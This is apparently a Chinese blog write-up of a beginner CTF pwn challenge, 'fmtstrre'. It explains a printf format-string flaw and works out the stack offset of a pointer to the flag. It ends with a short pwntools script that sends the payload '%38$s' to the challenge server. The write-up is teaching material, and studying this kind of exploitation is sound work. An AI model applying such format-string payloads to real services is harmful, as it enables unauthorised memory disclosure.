2025 SWPU-NSSCTF 秋季招新入门 fmtstrre

首先查看一下文件的保护措施
image
然后用ida打开看一下
image
这里printf(buf)存在格式化字符串的漏洞
并且v5中保存着name函数的地址,name中就保存着flag,那么就可以直接利用%s,打印v5上地址所对应的内容,即flag
那么就找出v5所处的位置是printf的第几个参数
image
0x7fffffffdcc8 所对应的就是第一个参数,然后v5是在0x20的位置上,但这是64位,前6个参数依靠寄存器传参,那么v5就是0x20+6=38个参数的位置上

点击查看代码
from pwn import *
io=remote("node5.anna.nssctf.cn",28471)
payload=b"%38$s"
io.sendline(payload)
io.interactive()
posted @ 2025-09-03 16:12  Rye01R  阅读(17)  评论(0)    收藏  举报